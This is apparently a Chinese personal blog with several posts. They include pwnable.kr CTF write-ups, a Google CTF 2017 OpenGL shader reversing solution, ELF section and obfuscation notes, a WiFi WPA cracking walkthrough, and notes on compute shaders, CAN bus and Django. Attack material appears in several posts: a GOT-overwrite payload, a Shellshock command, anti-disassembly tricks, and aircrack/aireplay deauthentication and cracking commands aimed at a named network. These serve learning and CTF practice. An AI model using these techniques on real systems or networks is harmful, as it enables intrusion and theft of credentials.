后来发现,mdzz它开始有一个可以注入的位置啊居然就这样跳过了:
void welcome(){
char name[100];
printf(“enter you name : “);
scanf(”%100s”, name);
printf(“Welcome %s!\n”, name);
}
汇编如下:
0x08048609 <+0>: push %ebp
0x0804860a <+1>: mov %esp,%ebp
0x0804860c <+3>: sub $0x88,%esp
=> 0x08048612 <+9>: mov %gs:0x14,%eax
0x08048618 <+15>: mov %eax,-0xc(%ebp)
0x0804861b <+18>: xor %eax,%eax
0x0804861d <+20>: mov $0x80487cb,%eax
0x08048622 <+25>: mov %eax,(%esp)
0x08048625 <+28>: call 0x8048420 printf@plt
0x0804862a <+33>: mov $0x80487dd,%eax
0x0804862f <+38>: lea -0x70(%ebp),%edx
0x08048632 <+41>: mov %edx,0x4(%esp)
0x08048636 <+45>: mov %eax,(%esp)
0x08048639 <+48>: call 0x80484a0 __isoc99_scanf@plt
0x0804863e <+53>: mov $0x80487e3,%eax
0x08048643 <+58>: lea -0x70(%ebp),%edx
0x08048646 <+61>: mov %edx,0x4(%esp)
0x0804864a <+65>: mov %eax,(%esp)
0x0804864d <+68>: call 0x8048420 printf@plt
0x08048652 <+73>: mov -0xc(%ebp),%eax
0x08048655 <+76>: xor %gs:0x14,%eax
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 __stack_chk_fail@plt
0x08048663 <+90>: leave
0x08048664 <+91>: ret
那么就很显然了,只要构造一个长度为0x74的padding,加上能够跳转到system语句的内容,就能够完成注入。
输入字符串地址为:0xfffddf98
ebp地址为:0xfffde008
则注入数据长度为:112 + 地址
地址为0x080485e3
尝试发现也不行,这里的scanf中限制了一次性读入的字符串数量。。。这就很尴尬了。
上网找了参考后发现,应该利用的是【修改plt的思路】,也就是说
0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 exit@plt
如果密码错误的话,这里会调用0x08048480处的exit,注意到这里是plt,也就是说这里的跳转地址只是跳转到plt表中而已,此时的plt表中的位置不过是一个跳转的地址而已,所以可以通过修正这个跳转地址使得可以跳到目的位置上去。
首先使用readelf -r 指令查看当前的重定向位置:
0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0
发现此时exit的偏移量为0x0804a018处相关代码为:
0x08048480 <+0>: jmp *0x804a0180x08048486 <+6>: push $0x300x0804848b <+11>: jmp 0x8048410
内部代码为:
0x0804a018中的内容为 0x08048486,也就是跳转回到这个位置。
换句话,linker的过程其实就是把这个jmp的跳转地址修改,所以我们也可以如法炮制,通过passcode将内容写入这里。
注意到两个函数连续调用,也就是说栈中的变化应该是一致的。于是可以得到不同量的存储位置:
-0x10(%ebp):passcode1-0x70(%ebp): name-0x0c(%ebp): passcode2
0x70 - 100 = 0xc。也就是说写入name的时候的内容会将passcode1给覆盖掉,却不能覆盖到passcode2。然而我们已知passcode1读入的数据会存放到其地址指向的内容中。
0x0804857c <+24>: mov -0x10(%ebp),%edx0x0804857f <+27>: mov %edx,0x4(%esp)0x08048583 <+31>: mov %eax,(%esp)0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
(原先是一句错误的内容,我们这里反而要利用这一点,将%edx中的内容替换成我们要输入的位置的坐标)
'a'*96 + '\x18\xa0\x04\x08' + '134514147'-->注意人家读入的是scanf("%d")
就能够往0x0804a018处写入system的地址,完成注入。
这个考点就是一个随机数。。。直接上C语言即可完成。
当年弃坑就是因为这个题目,这重新看一下L
1 |
|
好麻烦啊啊。。。。看起来是要靠一波底力了。由于我们看到很多功能只有我们再本地才能实现,所以这里我们再linux下的/tmp/文件夹下写代码(普通目录由于权限问题不能写入)从而完成实验
让我们一个个关卡来:
1 | // 参数要有100个 |
这个地方要求我们传参到指定位置上。这里我们直接使用函数
execvp(const char *file ,char * const argv []);
来传递函数即可。我们这里考虑使用execvp的原因在于之后用到了环境变量的问题,所以这里动态的增加环境变量
setenv(const char *name,const char * value,int overwrite);
然后再进行调用试试:
1 | #include <stdio.h> |
没问题,然后进入第二关
1 | // 然后输入流输入\x00\x0a\x00\xff |
第二关的要去是往输入流和错误流中写入指定的字符串,这里我们尝试使用write往0和2中写入数据。发现直接写并不能写入,所以这里直接使用了pipe和fork进行处理:
1 | int pid = fork(); |
第三关比较简单,就是设置环境变量。
1 | // env |
这个肯定没问题,毕竟我们之前已经设置过了:
1 | char* env2 = "\xde\xad\xbe\xef"; |
三行解决问题
第四关有点疑惑,是要求我们在指定的位置创建一个文件,然后里面放有指定内容即可。
1 | // file |
问题是,我们都知道,这个input所在目录是不可写的。。。那么我们得如何创建文件呢?这里想到,如果是本程序执行的execvp,那么创建的文件会不会就是在本目录
下呢?(希望知情大佬告知)
最后一关比较麻烦,是网络的知识:
1 | // network |
整体逻辑便是【监听当前’C’传入的端口,并且从这个端口上接收数据\xde\xad\xbe\xef】。那么我们这边就可以反向处理,往本地ip的’C’端口发送指定的内容,从而完成关卡。
最后,由于函数会有一个打开flag的操作,而我们当前的路径并不是在/home/input2下,所以当前目录下没有flag。于是我们可以使用
ln /home/input2/flag flag
进行符号链接。
这个关卡是查看arm汇编,这里先贴一点代码:
1 |
|
可以看到还是比较麻烦的。。。我们先来复习一下ARM:
基本的指令如下
opcode {
其中<>为必须,{}为可选
* cond: 执行条件* Rd:表示目标寄存器。* Rn:表示第一个操作数的寄存器。* operand2:表示第2个操作数。
其中,operand2中允许以下的表达:
AR采用的是Load-store结构,也就是在内存交换的时候,使用store指令存入内存,再用load读出内存中的数据。
例子:
1 | STMFD SP! {R8-R9} |
BL/BLX/BX调用函数,此时使用r14(链接寄存器)存入此时下一跳语句。
返回值存放在r0中。
ARM指令是字对齐(指令的地址后两位为[1:0]=0b00),Thumb是半字对齐(指令的地址后两位为[1:0]=0bx0,x为0或1)。指令的地址的最后一位必为0。
所以当使用bx进行跳转的时候,必须保证指令地址的最后一位为0。因此如果指定的跳转地址不是对其的话,就会将其与0xfffffffc/0xffffffe进行与在进行计算
参数传递的时候,会首先将前四个参数放在r0-r4上,之后的参数才会放到栈上。
回到代码上,首先key1的汇编如下:
1 | 0x00008cd4 <+0>:push{r11}; (str r11, [sp, #-4]!) |
此时的返回值可以知道,就是当前的pc + 8,也即是0x8ce4
key2如下:
1 | 0x00008cf0 <+0>:push{r11}; (str r11, [sp, #-4]!) |
这个地方有一个让我奇怪的问题,这个r6的地址显然不对啊。后来查到一个叫做thumb指令的东西,发现前面的代码中也有相关的蛛丝马迹
1 | ".code 16\n" |
.code 16的声明就意味着使用的就是thumb指令集。而此时的使用哪种指令集由低位决定。由于我们前面有提
add r6, pc, #1
此时,状态是由寄存器Rn的最低位来指定的,如果操作数寄存器的状态位Bit0=0,则进入ARM状态,如果Bit0=1,则进入Thumb状态。于是此时状态为Thumb,地址要进行与0xfffffffe相与,得到的地址为0x00008d04.于是此时的返回值就是0x8d08 + 4
最后是key3:
1 | 0x00008d20 <+0>:push{r11}; (str r11, [sp, #-4]!) |
这里可以看到,这里将lr 交给了r3,也就是将【函数的返回地址】交给了r0,所以这里的答案就是:
0x00008d80
综上,key1+key2+key3 = 0x8ce4 + 0x8d08 + 4 + 0x8d80
这个题目提示说,是一个简单的题目,并且是真实漏洞,希望我们不要想象的太难。并且提示上提到说是运算符优先级的问题,拿到源码看一下:
1 |
|
看了好一会儿才发现问题所在。。。
1 | fd=open("/home/mistake/password",O_RDONLY,0400) < 0 |
其实**=优先级是低于<**的,并且open总是>0的,因此得到的fd应该为0,也就是输入流,这里就相当于从输入流中读取数据进行异或了。所以这里我们只需要输入两组长度为10的数据,并且保证其中一个为另一个 xor 1 即可
这个题目是一个真实漏洞:
CVE-2014-6271
这个漏洞的利用在于,其解析环境变量的时候,在遇到以“(){”开头通过环境变量来定义的,却没有出现}的环境变量的时候,将会执行其后面的内容,从而造成任意指令执行。
通过设置环境变量:
export x='() { :;}; /home/shellshock/bash -c "cat /home/shellshock/flag"'
IRC : irc.netgarage.org:6667 / #pwnable.kr
]]>之前做ctf之类逆向的题目的时候,总是有一种题目是这样的:
这个题目怪得很,没有main,但是实际上再运行的时候,会进入.init段,然后突然把某个段进行了异或,然后就会得到答案。我对这个过程很疑惑。。。所以打算好好研究一下这点
一般一个正常的程序节中,会有.text(代码节),data(数据节),.bss(未定义数据节)等等。但是为了提供更加自由的定制化,gcc其实提供了给我们定制节的功能;
__attribute__((section (".sectionname")))
通过使用这个指令,能够将我们指定的一段内容放到一个我们自己定义的节中,如:
static int __attribute__((section (".loading"))) func(char* input){
这段内容能够把我们的func放入到.loading节里面,我们编译之后用readelf查看:
[Nr] Name Type Address Offset Size EntSize Flags Link Info Align[13] .text PROGBITS 00000000004005f0 000005f0 0000000000000622 0000000000000000 AX 0 0 16[14] .loading PROGBITS 0000000000400c12 00000c12 0000000000000167 0000000000000000 AX 0 0 1
从这可以看到,我们定义的.loading节被放到.text的后方。利用这个特点,我们就能够分离处指定的函数,然后可以对特定的节进行加密(本人主要还是担心如果直接对.text下手会不会出问题)
注意一个特点,这个节(Section)和我们平时说的段(Segment)是不一样的。节是在程序编译之后存在的,而段是在程序载入主程序之后发生的。
从上图可以看出,程序linking阶段(也就是编译后,链接时),elf文件是以节(section)划分,而程序开始执行后,是以段(Segment)来划分的。这里要进行区别。
之所以这么做,因为节中包含的很多帮助信息,比如说重定向的信息,链接的信息,以及调试信息等。这些信息在我们调试程序的时候会有用,但是在我们真正发布运行一个程序额度时候,是不需要都用上的,所以载入的时候,会选择性的抛弃一些数据。
操作系统会从程序的ph_table(program header table)中拷贝文件的段到虚拟地址段中,甚至利用这点创建内存共享资源
扯到加密,我们这边就要考虑到使用Elf.h文件,也就是对ELF本身直接进行操作,所以这里记录一波学习过程。
ElfN_Addr Unsigned program address, uintN_tElfN_Off Unsigned file offset, uintN_tElfN_Section Unsigned section index, uint16_tElfN_Versym Unsigned version symbol information, uint16_tElf_Byte unsigned charElfN_Half uint16_tElfN_Sword int32_tElfN_Word uint32_tElfN_Sxword int64_tElfN_Xword uint64_t
上面是官方对之后结构体的定义文档(这里可以看出,大佬写的代码是用来看的),其中N的意思是说,32bit中N为32,64bit中为64。知道这个方便我们接下来的分析
ElfN_Ehdr:
#define EI_NIDENT 16typedef struct { unsigned char e_ident[EI_NIDENT]; uint16_t e_type; uint16_t e_machine; uint32_t e_version; ElfN_Addr e_entry; // 函数虚拟地址入口 ElfN_Off e_phoff;// program header 偏移量(可选,不一定存在) ElfN_Off e_shoff;// section header 偏移量 uint32_t e_flags; uint16_t e_ehsize; // elf头部大小 uint16_t e_phentsize;// 每个 program entries的大小 uint16_t e_phnum;// program header 的数量 uint16_t e_shentsize;// 每个 sections entries的大小 uint16_t e_shnum;// sections header的数量 uint16_t e_shstrndx;// 记录了sections header table 的地址} ElfN_Ehdr;
这个是对整个ELF本身的定义,我们这里关注section header,就是从elf entry结束开始经过e_shoff个字节能够到达的节。同时,这个e_shentsize大小就是section header entry 的大小也就是说,我们从读入的位置开始移动e_shdoff + e_shentsize*e_shstrndx就能够到达【记录有sections的strndx】。通过这个段我们能够快速的定位到我们需要的段上,代码如下:
1 | elf = (Elf64_Ehdr*)buf; |
但是。。。得到了段之后要怎么处理呢。。。这里就暂时不知道了。。
(对于混淆的问题,后来暂时用花指令处理掉了)
__asm__ __volatile__("lea label, %rax\t\n"\"push %rax\t\n"\"ret\t\n"\"label:");
为了防止IDA的检测,编译的时候选择了一下: -fvisibility=hidden 还strip了一下符号表:
strip file
嗯。。。暂时是有一个防护措施了。
]]>这个题目比较容易,我们这里记录一下操作就好了。
从root explorer中,进入data/misc/wifi里面,然后找到wpa_supplicant.conf,里面这个内容就保存了和wifi的相关内容,甚至明文存放了用户名和密码。。。:
我们这里的原理打算使用PIN码的功能
这个我们可以上网查找一下。找到了一个PIN码暴力破解的工具(然而没什么卵用。。)这里给一个截图:
这个软件在一定时间没有收到回复就会出现这个界面。。。好吧其实就是没有破解成功。。
这里我们使用kali的方式,首先我们需要了解一下pin码的原理。pin码全称就是Personal Identification Number,就是SIM卡的个人识别密码。为了防止别人盗用SIM而使用的身份验证的卡。支持WPS的路由器会记忆当前链接wifi 的用户,然后当验证完成后,就会将密码以明文的形式发送到手机上。我们的攻击方法,就通过爆破这个pin码进行猜测。这个pin码的验证是先前四位再后四位,这就让爆破速度变得更快。
然后我们试了很多次,发现现在很多路由器根本就不支持WPS功能。。。于是到头来还是暴力破解。。。
首先我们在kali里面输入
1 | airmon-ng |
这里可以看到支持监控模式的无线网卡,然后打开该网卡的监控模式:
1 | airmon-ng start 网卡 |
然后我们检查wifi网络,看看周围有没有符合要求的数据包
1 | airodump-ng wlan0mon(网卡) |
找到了我们想要破解的wifi(Alfred)后,我们就开始使用指定的Channel进行扫描,尝试抓取握手包。这个握手包中会包含有wifi的密码。这个握手包会在用户连上路由器和断开的时候都会发出,使用指令:
1 | airodump-ng -c 6 --bssid C8:3A:35:30:3E:C8(BSSID) -w ~/save.txt 网卡 |
但是由于我们可能等待很久都没有人企图去链接这个wifi,于是我们可以使用一个工具:aireplay-ng,这个可以强制用户断开wifi连接;原理是,给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后它自然会再次连接wifi。
1 | aireplay-ng -0 2 -a 目标mac地址 -c 某个客户端的mac地址 wlan0mon(网卡) |
1 | airmon-ng stop wlan0mon |
最后我们进行wifi破解
1 | aircrack-ng -a2 -b C8:3A:35:30:3E:C8(目标mac地址) -w ~/save.txt ~/*.cap |
由于我们是帮忙做作业来着。。。直接把真是密码加入了字典,出了答案:
首先是kali装了半天。。。问题在于我的kali有点问题,没有装上无线网卡的驱动,于是直接上网下了一个wireless-compat的驱动,但是后来经同学指出,我这个虚拟机上根本就没有无线网卡啊。。。。怎么可能装的上去呢,最后就拿同学的来完成了任务。
第二个就是,这个原理其实是【握手包中有加密后的wps2密码,如果有人成功连接上了wifi的话,我们通过猜测密码的方式进行比对】。也就是说,如果【发送握手包的人也不知道密码是什么的话,那么这个暴力破解的方式其实是无效的】。。。。也就是说,不能瞎几把抓包。。。
]]>首先运行,发现是一个exe界面,而且长的很像游戏:
然后看到下面的SDL,明白了这是一个用SDL引擎写的游戏。。我们用ida打开以后,定位到main函数下:
这里关注一个函数:
SDL_PollEvent
这个函数是SDL中常常用于事件分发的函数,我们输入字符串将会在这里被卡住。根据MFC逆向的经验,如果真的存在flag的比较过程的话,那么关于键盘中数据读入的过程很可能会包含我们的flag匹配。于是这里我们用x86-64进行调试,首先定位到我们可能发生字符串读入的函数:
经过测试,这段内容是在我们输入了字符串之后会卡住,所以可以认为这个地方可能是处理字符串的内容,我们直接跟进去看:
看起来是给指定位置读取字符串而已。于是我们尝试动态调试跟踪一下:
这段给了我们一些基本的信息:
然后再反复测试中发现,当读入八个字符串之后,存放在原先地址的前面的8个字符串就会被抹去,只剩下后面的八个字符串:
但是我们会发现,长度依然是在计算的。同时,我们输入的字符串的来到了另一个地址
同时我们发现,我们最多能够输入的字符串数量为32,正好符合一个判断语句;
这段逻辑应该就和这个加密密切相关了…
我们进入这个函数,发现一开始调用了
glUseProgram(program)
这个做过开发都会知道,是使用我们制定的着色器函数的意思。这里指定的着色器函数内容如下:
紧接着调用了这个函数:
GLboolean glIsBuffer(GLuint buffer);//判断是否是缓冲区对象
同样的,判断了指定位置上(还是我们的6df1000)是否为缓冲区。缓冲区是用来存放顶点信息的。
之后就是比较常见的数据绑定,接下来有一个有意思的函数:
glMapBuffer
glMapBuffer用来将一个缓冲区对象中的数据映射为客户端中的地址空间。这段的意思就是我们能够取得此时的顶点信息(也有可能是进行写入操作),这里显然和我们将要处理的数据很有关系:
void *glMapBuffer( GLenum target, GLenum access);target用于指定缓冲区的类型,而access指定这段缓冲内容是否可读可写。
之后会开始往我们得到的缓冲区地址+0x200中写入数据:
可以看到,这里是以一个int的长度写入的数据。之后我们会来到一个充满了xmm0的位置,里面同样的会将缓冲区地址中写入数据:
最后我们会释放掉这部分缓冲区的指针:
然后我们会开始调用一个神奇的函数:
glDispatchCompute()
函数会把工作组发送到计算管线上,其原型如下:
void glDispatchCompute(GLuint num_groups_x, GLuint num_groups_y, GLuint num_groups_z);
这段内容会将会开始在xyz三个维度上进行工作计算。计算的内容就是我们之前读入的着色器。程序在这里分别传入了8,8,1;
今天早上测试的时候逻辑完全不一样了额。。。。首先我们反复的执行了这个函数:
然后我们跟踪进去,发现有一个函数不断的产生新的字符串:
于是想到,接下来的目的主要有两个:
搞清楚下面这个函数的参数意义
generate_string((__int64)&gen_str, (__int64)"%.8x", v19, v18);
找到产生的字符串对之后产生了什么影响.
由于这里错过了第一个内容,所以我们优先跟踪我们产生的字符串去了哪里:
发现不久之后,就对这个参数进行了减去0x1010101的处理,然后将其自身取反之后and 0x80808080,如果有做过相关练习的话,会知道这一段其实是在测量字符串的长度。
然后我们会传入我们之前产生过的字符串的地址指针以及这次产生的字符出,以及长度。
同时,从这个地方我们能够看出此处存在一个结构体:
1 | struct{ |
后来发现,这个玩意儿没那么简单。。。我们可以看到循环的条件:
起始地址如上,然后我们的终点是:
这就不好处理了。。。如果我们完全跟踪的话,怕是要到地老天荒。。。所以我们这里直接跳过看看。
不过为了实现之前的目的1,我们决定跟如generate看看发生了什么,这里首先记忆一下,我们输入的字符串内容存在这里:
总的来说,就是一个随机产生字符串的过程。。
然后我们完成这段内容复制之后,发现原先存储字符串的地址变成了这个:
估计是原先地址不够大的原因。然后我们继续走:
这段内容将往ds:4ca060中存放的地址中存放的字符串与我们产生的字符串本身进行比较。字符串内容为:
1 | 30c7ead97107775969be4ba00cf5578f1048ab1375113631dbb6871dbe35162b1c62e982eb6a7512f3274743fb2e55c818912779ef7a34169a838666ff3994bb4d3c6e14ba2d732f14414f2c1cb5d3844935aebbbe3fb206343a004e18a092daba02e3c0969871548ed2c372eb68d1af41152cb3b61f300e3c1a8246108010d282e16df8ae7bff6cb6314d4ad38b5f9779ef23208efe3e1b699700429eae1fa93c036e5dcbe87d32be1ecfac2452ddfdc704a00ea24fbc2161b7824a968e9da1db756712be3e7b3d3420c8f33c37dba42072a941d799ba2eebbf86191cb59aa49a80ebe0b61a79741888cb62341259f62848aad44df2b809383e09437928980f |
在完成了比较之后,会将之前的空间释放掉:
之后就回到开始,开始处理输入字符串。
总的流程下来,算是找到了判断逻辑:
这段中,如果right__or_not = 2的时候,屏幕上会绘制GOOD,否则的话绘制NOPE.那么我们返回来看这个判断条件,发现还是和之前的加密算法密切相关的。。。不过也算好,终于也是找到了判断逻辑了。。。
于是接下来开始分析逻辑:首先找到我们输入字符串的存储位置:
然后继续深入,知道这段内容:
这段内容关键内容即为r9寄存器中的内容,这个内容直接影响了后面的数据的变化,那么这个数据
测试之后得到,这个位置的rdx中的数据终会转换成字符串存储在内存中。于是现在反向查找数字的产生位置:
可以发现,后面的处理不过是将这段内容进行了字符串转换存储罢了。也就是说,关键还是这段内容是怎么产生的。
然后就能够回到昨晚那段内容了。。。接着分析 :
glClipControl
接下来是这个函数,这个用的比较少啊,是用来控制裁剪坐标系的。感觉应该和我们的输入没什么关系才对。。
发现在这个函数之后,会发生将所有mmap其实地址中的数据+1的事情:
原因有点不清楚。。然后调用了下列函数:
glMemoryBarrierByRegion
该函数会定义一个defines a barrier ordering memory transactions
,我这里理解就是顺序内存交换的障碍。。。不知道用来做啥的。。
后面能够开到,再次申请了空间:
而且显然,由于我们之前把这段内容释放掉了,所以是利用了我们之前的空间。
关键是这里用了一个函数我之前没用过。。。也没怎么听过。。。只能靠找规律了。。。。
输入数据:
12345678901234567890123456789014
12345678901234567890123456789015
可以发现,最后一个数字会影响每一行的数字,使得每两行中的同一列发生相同的变化规律。
这样做不行。。。找不到本质。。。。然后我回头问了一下同学,发现其实是
glClientWaitSync
这个函数在起作用,其作用就是【让同步对象执行】,然后我们看到函数:
glFenceSync
这个则是创建一个同步对象:
我为什么放弃了。。。明明差一点就找到了啊啊啊啊啊
就在gl_init里面。。。我还自称做过OpenGL开发。。。这点东西都忘了。。。。
glCreateProgram
这个函数会创建一个着色器对象,然后成功之后,一般就会调用函数就是:
glCreateShader
这段就是传入着色器了啊啊啊!!!我之前的思路也是这么写的啊啊啊!!!为什么放弃了!!!
最后可以找到非常复杂的加密逻辑:
1 |
|
怕是可以当成crypto出了。。。这里扯到了一点关于算数着色器的内容,这里可以见另一篇博客算数着色器
这段逻辑其实也非常的麻烦,我们一点点来分析:
1 | layout(local_size_x=8,local_size_y=8)in; |
之前的着色器是为了普通的染色用的,第三段才是重点。首先一开始生命的是当前计算着色器中局部工作组的大小,为8*8(*1)(由于着色器本身为3维上,但是由于不声明的话默认是2维的,z轴默认值为1)。然后是声明此时多个管道中进行共享的变量。从大小和命名上可以猜测,password应该是我们输入的字符串,state应该是GPU状态之类的,hash就是一个特定的值的hash。
1 | uint idx=gl_GlobalInvocationID.x+gl_GlobalInvocationID.y*8; |
这段是main函数中的内容,第一句话的意思是【确定当前在全局工作组中的下标】。由state大小不难知道,全局工作组的大小为8*8。并且这里会将每两个赋值,都是将我们的输入的字符串传入并且进行hash运算,我们深入看一下算法:
1 | uint hash_alpha(uint p){ |
这里能够看到,此时的p(也就是我们数组中的值)会同一个calc调用,然后会返回一个vec3。区别在于alpha返回的是[0],而beta返回的是[1]。
1 | vec3 calc(uint p){ |
这段就是hash处理的过程。这个函数会将传入的数据作为弧度,然后会强行算一个旋转矩阵,就是
[cos r, - sin r][sin r, cos r]
然后这个矩阵乘上(1024,0,0)(相当于这个1024向量将要转动p度),并且将结果加上向量(2048,2048)
结合一下前面,大致意思就是【将传入的数据作为角度,计算当前向量旋转后的值,并且在idx为单数的时候设置其答案为x值,idx为双数的时候设置其值为y】。最后会在extend中进行数据扩展。
1 | uint i; |
最后这段首先是根据下标,按6 bit为一组与idx进行了异或,然后在password中的值每个值取出来进行,进行循环移位,同时将当前值与一个魔数异或。最后将final和刚刚得到的魔数按照8bit扩展成32bit后的数字机型异或。最后将这个数字存入hash中。
可以猜测,这个hash就是我们需要的答案。
虽然可以考虑使用暴力破解的方法,但注意到这个h的值是由所有的password一起确定的,就很难一次性确认出来。。。。后来在一个大佬的github上看到了一个非常聪明的思路:
https://hxp.io/blog/33/Google%20CTF%202017:%20reversing%20%22moon%22/
这里搬运一下;
函数的关键在于:
1 | for (i=0;i<32;i++){ |
这段内容,我们会将所有的password都读出来,并且进行运算最后得到h。会发现这个过程和idx完全无关。换句话说,每个管线中都将执行一遍这个过程,得到相同的数据。然后由于flag的形式一定是CTF{xxxx},所以第一个字符必然是C,于是我们按照前面的思路完全重现一下加密的逻辑,代码如下:
1 | # -*- coding:-utf-8 -*- |
得到的输出与之前提到的一大串数据的开头四个进行异或,正好得到
1 | 0x6f6f6f6f |
由此可见,h的最终值就是0x6f。接下来直接写个爆破脚本跑数据看看:
1 | # -*- coding:-utf-8 -*- |
得到flag:
CTF{OpenGLMoonMoonG0esT0TheMoon}
挖草这个Google ctf逼的我把OpenGL又复习了一遍。。。。。
]]>(之前曾经整理过opengl的相关学习资料,之后会放过来,这边先直接谈论OpenGL的计算着色器的学习)
由于图形处理器(GPU)每秒能够进行数以亿计次的计算,它已成为一种性能十分惊人的器件。因此为了能够更加方便的使用GPU的计算性能,OpenGL将【着色器】这部分与GPU交互的语言中抽象处一种接口,来进行数据的运算。这个接口的所构造的着色器就称为**“计算着色器”**
计算着色器本身可以被认为是一个一级着色器(大概就说是顶点直接输入GPU计算,计算完成后的数据直接返回给电脑),没有固定的数据和输出格式。
计算着色器同样也是通过glCreateShader进行着色器对象的创建,通过glShaderSource将数据传入的GPU,最后通过函数glCompileShader将数据进行编译。使用的时候也是通过过glAttachShader对着色器对象绑定,然后使用glLinkShader将指定的着色器依附在顶点信息中,传入GPU进行数据的运算。
计算着色器的任务以组为单位进行执行,称为工作组(work group)。拥有邻居的工作组被称为本地工作组(local workgroup), 这些组可以组成更大的组,称为全局工作组(global workgroup),而其通常作为执行命令的一个单位。
计算着色器会被全局工作组中每一个本地工作组中的每一个单元调用一次,工作组的每一个单元称为工作项(work item),每一次调用称为一次执行。执行的单元之间可以通过变量和显存进行通信,且可执行同步操作保持一致性。
图12-1对这种工作方式进行了说明。在这个简化的例子中,全局工作组包含16个本地工作组, 而每个本地工作组又包含16个执行单元,排成4*4的网格。每个执行单元拥有一个2维向量表示的索引值。
本地工作组的大小使用local_size_x,local_size_y,local_size_z来进行说明,默认均为1。例子如下:
1 | layout(local_size_x=8,local_size_y=8)in; |
这段内容的意思就是声明此时本地工作组的大小为8*8*1。
然后通过使用函数glDispatchCompute()把工作组发送到计算管线上:
void glDispatchCompute(GLuint num_groups_x, GLuint num_groups_y, GLuint num_groups_z);
其中num_groups_*表示在这个方向上设置的工作组的数量(并非工作组大小)。然后OpenGL就会创建一个
num_gourps_x*num_gourps_y*num_gourps_z
大小的工作组,存放所有的工作组。
计算着色器需要从输入的指定位置读取数据,并且把数据输出到输出数组指定的位置上。因此会需要知道当前的数据在本地工作组,或者说全局工作组的位置。OpenGL提供了一下内置变量:
变量的含义:
gl_WorkGroupSize是一个用来存储本地工作组大小的常数。它已在着色器的布局限定符中有local_size_x,local_size_y和local_size_z声明。之所以拷贝这些信息,主要是为了两个目的:首先,它使得工作组的大小可以在着色器中被访问很多次而不需要依赖于预处理;其次,它使得以多维形式表示的工作组大小可以直接按向量处理,而无需显式地构造。
gl_NumWorkGroups是一个向量,它包含传给glDispatchCompute()的参数(num_groups_x,num_groups_y和 num_groups_z)。 这使得着色器知道它所属的全局工作组的大小。除了比手动给uniform显式赋值要方便外,一部分OpenGL硬件对于这些常数的设定也提供了高效的方法。
gl_LocalInvocationID 表示当前执行单元在本地工作组中的位置。它的范围从uvec3(0)到gl_WorkGroupSize – uvec3(1)
gl_WorkGroupID 表示当前本地工作组在更大的全局工作组中的位置。该变量的范围在uvec3(0)和gl_NumWorkGroups – uvec3(1)之间。
gl_GlobalInvocationID 由gl_LocalInvocationID、gl_WorkGroupSize和gl_WorkGroupID派生而来。它的准确值是gl_WorkGroupID * gl_WorkGroupSize +
gl_LocalInvocationID,所以它是当前执行单元在全局工作组中的位置的一种有效的3维索引。
gl_LocalInvocationIndex是gl_LocalInvocationID的一种扁平化形式。其值等于
gl_LocalInvocationID.z*gl_WorkGroupSize.x*gl_WorkGroupSize.y+gl_LocalInvocationID.y * gl_WorkGroupSize.x + gl_LocalInvocationID.x
它可以用1维的索引来代表2维或3维的数据。
由于我们在使用GPU的时候是并行运算,为了实现让并行运行的管道通信,这里提供了关键字shared。当变量被声明了shared之后,这个变量将能够被保存在特定的位置上,从而对所有的着色器都可用。
提到了通道,那么就要扯到同步的问题。为了实现同步的功能,我们有两种处理方法:
在OpenGL中,几乎所有的图案都是绘制在3D的坐标下的,然后OpenGL进行了一定的转换从而将其放到2D的平面上。这个转换的过程是由一个叫做管线的模块。线管可以被分为两个部分:
将坐标传入了管线后,就能够将数据转换成屏幕上的坐标,同时根据相关的顶点数据和段数据,从而对图形本身进行渲染。
管线被分为了不同步骤,每个步骤都被高度的专门化(即是专门来处理这个问题),可以【并行】运行。借助并行的特性,现在的GPU上有许多个小程序在帮助我们利用管线处理我们的数据,这些小程序就叫做【着色器shader】。着色器语言会将嵌入到程序中的程序翻译成ARB Assembly Language。这些程序可以传送到GPU中被编译。
使用流程:
首先要通过将编写好的GLSL程序将其进行编译,从而得到一个编译好的GLSL对象:
当我们需要使用着色器的是时候,通过将需要传入的数据以合适的形式传入,然后将着色器依附在对应的顶点元素上,将其链接,最后传入GPU进行渲染和运算:
参考资料:
http://blog.csdn.net/panda1234lee/article/details/51777980
控制器局域网(Controller Area Network,简称CAN或CANbus)是一种通信协议,其特点是允许网络上的设备直接互相通信,网络上不需要主机(Host)控制通信。个人理解上,也就是有种点对点传输协议的一种协议,而且是硬件之间的传输协议。(去中心化?)
这个协议被广泛的应用在各种车辆与电子设备上。CAN为一序列总线,它提供高安全档次及有效率的即时控制。更具备了调试和优先权判别的机制。即时的信息传输(Real-time data transmission)为CAN的特色之一。在即时的运算中,消息传递的优先级应以重要性来分,重要性较高的消息会比较不重要的消息传递的更频繁。
基于CAN的应用曾协议应用较通用的有两种,DeviceNet(工业底层自动化)和CANOpen(适用于机械控制的嵌入式应用)
(汽车电器网络结构)
汽车上使用两条CAN:
Canbus上的控制器中发送信息的线路通过一个开路集电极和总线相连。
收发器使用一个电路进行控制,即控制单元在某一时间段内只能进行发送或接收
Can上的每个节点都是一个入口,允许一个标准的计算机在标准CAN网络中通过usb交互,或者是使用一个以太网端口交互。
所有的节点都会使用两个总线(wire bus)。在总线的两段一般都会放两个120Ω的电阻。
然后我们可以看一下帧数据包解析方式:
首先可以看到第一位为0,表示帧的开始
然后是11bit的arbID,这里表示的是当前的帧的描述,描述当前帧的基本状态,被指用于是什么消息,由谁发送。
接下来的DLC是4 bits,表示消息中的数据长度(但是其实现在一般长度都为8)。
之后的数据是8 bits,就是当前传输消息的实际信息。这8 bits的数据可能是发动机转速,油量,或者开门等信息量所转换来的数据量.不管任何信号和消息都会通过总线进行传输,但是所有的ECUs必须事先约定好信息和信号的格式.
为了能够更好的处理数据, 这里引入了CAN DATABASE,也就是总线数据库,包含了所有的信息和信号的定义.
参考文章:
https://wenku.baidu.com/view/6c32085331126edb6f1a109e.html
Django 是由 Python 开发的一个免费的开源网站框架,可以用于快速搭建高性能,优雅的网站。就我目前短浅的眼光看,框架就是一个【将大部分的底层功能函封装成函数使得大部分实现能够直接通过调用函数实现】。
配置Django
这里参考了django官方网站上面的相关指导:
1.在一个网站目录下面键入:
1 | $django-admin startproject mysite |
此时就会创建一个网站文件夹目录,这个目录下面会形成一个网站所需的基本目录。文件夹的目录大致为:
mysite/
manage.py
mysite/
init.py
settings.py
urls.py
wsgi.py
它们分别的作用是:
